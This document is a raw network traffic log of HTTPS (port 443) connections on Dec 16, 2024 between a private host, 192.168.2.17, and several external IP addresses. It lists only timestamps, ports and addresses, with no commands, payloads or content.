Dec 16, 2024 18:45:46.473180056 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.473247051 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.480750084 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.488343954 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.488413095 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.488428116 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.488452911 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.488507986 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.496095896 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.503884077 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.503966093 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.504008055 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.511499882 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.511575937 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.511599064 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.519058943 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.519144058 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.519161940 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.534405947 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.534461021 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.534477949 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.540373087 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.540427923 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.540436983 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.546171904 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.546241045 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.546247959 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.552038908 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.552094936 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.552094936 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.552108049 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.552145004 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.557809114 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.600305080 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.661331892 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.663575888 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.663649082 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.663717031 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.670066118 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.670135975 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.670156002 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.679877996 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.679949045 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.679969072 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.680042028 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.684634924 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.684655905 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.684721947 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.694302082 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.694324017 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.694379091 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.694396973 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.694426060 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.703902006 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.704015970 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.704030991 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.704103947 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.713454008 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.713474989 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.713531971 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.723022938 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.723104000 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.723119020 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.723190069 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.728055000 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.728154898 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.737276077 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.737375021 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.746611118 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.746706963 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.751377106 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.751470089 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.760690928 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.760775089 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.770050049 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.770127058 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.770155907 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.770356894 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.770411015 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.770513058 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.770545959 CET	443	49779	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.770560980 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.770605087 CET	49779	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.919826984 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.919867039 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:46.919959068 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.920247078 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:46.920262098 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.141062975 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.141402960 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.141432047 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.145044088 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.145147085 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.145534992 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.145698071 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.145704031 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.145745993 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.200298071 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.200336933 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.247291088 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.616183996 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.616343021 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.616404057 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.616436958 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.616559982 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.616621017 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.616630077 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.624048948 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.624118090 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.624133110 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.634082079 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.634150028 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.634164095 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.686314106 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.686345100 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.734277010 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.735893965 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.740006924 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.740060091 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.740082979 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.782291889 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.816744089 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.820190907 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.820278883 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.820298910 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.827645063 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.827722073 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.827749968 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.834842920 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.834911108 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.834937096 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.849754095 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.849838972 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.849858046 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.857207060 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.857286930 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.857295036 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.857321024 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.857362986 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.864643097 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.872096062 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.872169971 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.872195005 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.879200935 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.879344940 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.879365921 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.886368036 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.886460066 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.886482954 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.893265963 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.893349886 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.893368959 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.900240898 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.900324106 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.900341034 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.942308903 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:48.942351103 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:48.990303040 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.008728981 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.012439966 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.012491941 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.012507915 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.019243956 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.019383907 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.019406080 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.033291101 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.033376932 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.033402920 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.033466101 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.047353029 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.047369957 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.047597885 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.047630072 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.047704935 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.055654049 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.055670023 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.055749893 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.063941956 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.063963890 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.064054012 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.068341017 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.068355083 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.068435907 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.076545954 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.076561928 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.076630116 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.084850073 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.084918976 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.089137077 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.089199066 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.097553968 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.097665071 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.105859041 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.105932951 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.105954885 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.105993032 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.106036901 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.106106997 CET	49780	443	192.168.2.17	104.18.161.117
Dec 16, 2024 18:45:49.106121063 CET	443	49780	104.18.161.117	192.168.2.17
Dec 16, 2024 18:45:49.633850098 CET	49781	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:49.633903980 CET	443	49781	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:49.633974075 CET	49781	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:49.634253979 CET	49781	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:49.634265900 CET	443	49781	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:50.854218006 CET	443	49781	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:50.856283903 CET	49781	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:50.856302977 CET	443	49781	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:50.858123064 CET	443	49781	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:50.858242035 CET	49781	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:50.873209000 CET	49781	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:50.873234034 CET	49781	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:50.873303890 CET	49781	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:50.873620033 CET	443	49781	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:50.873708010 CET	49781	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:50.875878096 CET	49782	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:50.875982046 CET	443	49782	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:50.876089096 CET	49782	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:50.878499031 CET	49782	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:50.878529072 CET	443	49782	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:52.104126930 CET	443	49782	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:52.104506969 CET	49782	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:52.104540110 CET	443	49782	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:52.106209993 CET	443	49782	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:52.106317997 CET	49782	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:52.107599020 CET	49782	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:52.107691050 CET	443	49782	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:52.107801914 CET	49782	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:52.107812881 CET	443	49782	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:52.157418013 CET	49782	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:53.194624901 CET	443	49782	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:53.194926023 CET	443	49782	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:53.195025921 CET	49782	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:53.195957899 CET	49782	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:53.195976019 CET	443	49782	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:53.380294085 CET	49783	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:53.380342007 CET	443	49783	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:53.380424976 CET	49783	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:53.380894899 CET	49783	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:53.380916119 CET	443	49783	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:53.484667063 CET	49786	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:53.484719038 CET	443	49786	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:53.484812021 CET	49786	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:53.485152006 CET	49786	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:53.485173941 CET	443	49786	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:54.599355936 CET	443	49783	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:54.604394913 CET	49783	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:54.604465008 CET	443	49783	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:54.608203888 CET	443	49783	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:54.608324051 CET	49783	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:54.608709097 CET	49783	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:54.608743906 CET	49783	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:54.608788967 CET	49783	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:54.608967066 CET	443	49783	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:54.609040976 CET	49783	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:54.609129906 CET	49787	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:54.609172106 CET	443	49787	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:54.609265089 CET	49787	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:54.609505892 CET	49787	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:54.609520912 CET	443	49787	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:54.711535931 CET	443	49786	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:54.711828947 CET	49786	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:54.711867094 CET	443	49786	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:54.712733030 CET	443	49786	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:54.712841034 CET	49786	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:54.713084936 CET	49786	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:54.713141918 CET	49786	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:54.713141918 CET	49786	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:54.713156939 CET	443	49786	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:54.713219881 CET	49786	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:54.713450909 CET	49788	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:54.713541985 CET	443	49788	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:54.713644028 CET	49788	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:54.713816881 CET	49788	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:54.713835001 CET	443	49788	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:55.841685057 CET	443	49787	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:55.841991901 CET	49787	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:55.842015028 CET	443	49787	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:55.842876911 CET	443	49787	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:55.842936039 CET	49787	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:55.843456984 CET	49787	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:55.843473911 CET	49787	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:55.843504906 CET	443	49787	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:55.895303011 CET	49787	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:55.895335913 CET	443	49787	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:55.943320990 CET	49787	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:55.943933010 CET	443	49788	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:55.945647955 CET	49788	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:55.945673943 CET	443	49788	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:55.946787119 CET	443	49788	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:55.949299097 CET	49788	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:55.949378967 CET	443	49788	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:55.949434996 CET	49788	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:55.995327950 CET	443	49788	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:56.097107887 CET	49788	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:56.097182035 CET	443	49788	172.67.187.119	192.168.2.17
Dec 16, 2024 18:45:56.097234964 CET	49788	443	192.168.2.17	172.67.187.119
Dec 16, 2024 18:45:56.589613914 CET	49691	443	192.168.2.17	204.79.197.200
Dec 16, 2024 18:45:56.709440947 CET	443	49691	204.79.197.200	192.168.2.17
Dec 16, 2024 18:45:56.904524088 CET	443	49691	204.79.197.200	192.168.2.17
Dec 16, 2024 18:45:56.904603958 CET	49691	443	192.168.2.17	204.79.197.200
Dec 16, 2024 18:45:56.905834913 CET	49691	443	192.168.2.17	204.79.197.200
Dec 16, 2024 18:45:56.905878067 CET	49691	443	192.168.2.17	204.79.197.200
Dec 16, 2024 18:45:56.906092882 CET	49691	443	192.168.2.17	204.79.197.200
Dec 16, 2024 18:45:56.906603098 CET	49691	443	192.168.2.17	204.79.197.200
Dec 16, 2024 18:45:56.906685114 CET	49691	443	192.168.2.17	204.79.197.200
Dec 16, 2024 18:45:56.937511921 CET	443	49787	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:56.937793970 CET	443	49787	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:56.937958002 CET	49787	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:56.938420057 CET	49787	443	192.168.2.17	104.21.32.205
Dec 16, 2024 18:45:56.938440084 CET	443	49787	104.21.32.205	192.168.2.17
Dec 16, 2024 18:45:56.968621016 CET	49807	443	192.168.2.17	172.217.19.225
Dec 16, 2024 18:45:56.968645096 CET	443	49807	172.217.19.225	192.168.2.17
Dec 16, 2024 18:45:56.968707085 CET	49807	443	192.168.2.17	172.217.19.225
Dec 16, 2024 18:45:56.969505072 CET	49807	443	192.168.2.17	172.217.19.225
Dec 16, 2024 18:45:56.969532967 CET	443	49807	172.217.19.225	192.168.2.17
Dec 16, 2024 18:45:57.025840044 CET	443	49691	204.79.197.200	192.168.2.17
Dec 16, 2024 18:45:57.025852919 CET	443	49691	204.79.197.200	192.168.2.17
Dec 16, 2024 18:45:57.026293993 CET	443	49691	204.79.197.200	192.168.2.17
Dec 16, 2024 18:45:57.026308060 CET	443	49691	204.79.197.200	192.168.2.17
Dec 16, 2024 18:45:57.026381969 CET	443	49691	204.79.197.200	192.168.2.17
Dec 16, 2024 18:45:57.026428938 CET	443	49691	204.79.197.200	192.168.2.17
Dec 16, 2024 18:45:57.219163895 CET	443	49691	204.79.197.200	192.168.2.17
Dec 16, 2024 18:45:57.219229937 CET	49691	443	192.168.2.17	204.79.197.200
Dec 16, 2024 18:45:57.411015034 CET	443	49691	204.79.197.200	192.168.2.17
Dec 16, 2024 18:45:57.411077976 CET	49691	443	192.168.2.17	204.79.197.200
Dec 16, 2024 18:45:58.882106066 CET	443	49807	172.217.19.225	192.168.2.17
Dec 16, 2024 18:45:58.882591009 CET	49807	443	192.168.2.17	172.217.19.225
Dec 16, 2024 18:45:58.882658958 CET	443	49807	172.217.19.225	192.168.2.17
Dec 16, 2024 18:45:58.883456945 CET	443	49807	172.217.19.225	192.168.2.17
Dec 16, 2024 18:45:58.883481026 CET	443	49807	172.217.19.225	192.168.2.17
Dec 16, 2024 18:45:58.883606911 CET	49807	443	192.168.2.17	172.217.19.225
Dec 16, 2024 18:45:58.883608103 CET	49807	443	192.168.2.17	172.217.19.225
Dec 16, 2024 18:45:58.883631945 CET	443	49807	172.217.19.225	192.168.2.17
Dec 16, 2024 18:45:58.883729935 CET	49807	443	192.168.2.17	172.217.19.225
Dec 16, 2024 18:45:58.884490013 CET	443	49807	172.217.19.225	192.168.2.17
Dec 16, 2024 18:45:58.885808945 CET	49807	443	192.168.2.17	172.217.19.225
Dec 16, 2024 18:45:58.885808945 CET	49807	443	192.168.2.17	172.217.19.225
Dec 16, 2024 18:45:58.885840893 CET	443	49807	172.217.19.225	192.168.2.17
Dec 16, 2024 18:45:58.885920048 CET	443	49807	172.217.19.225	192.168.2.17
Dec 16, 2024 18:45:58.935354948 CET	49807	443	192.168.2.17	172.217.19.225
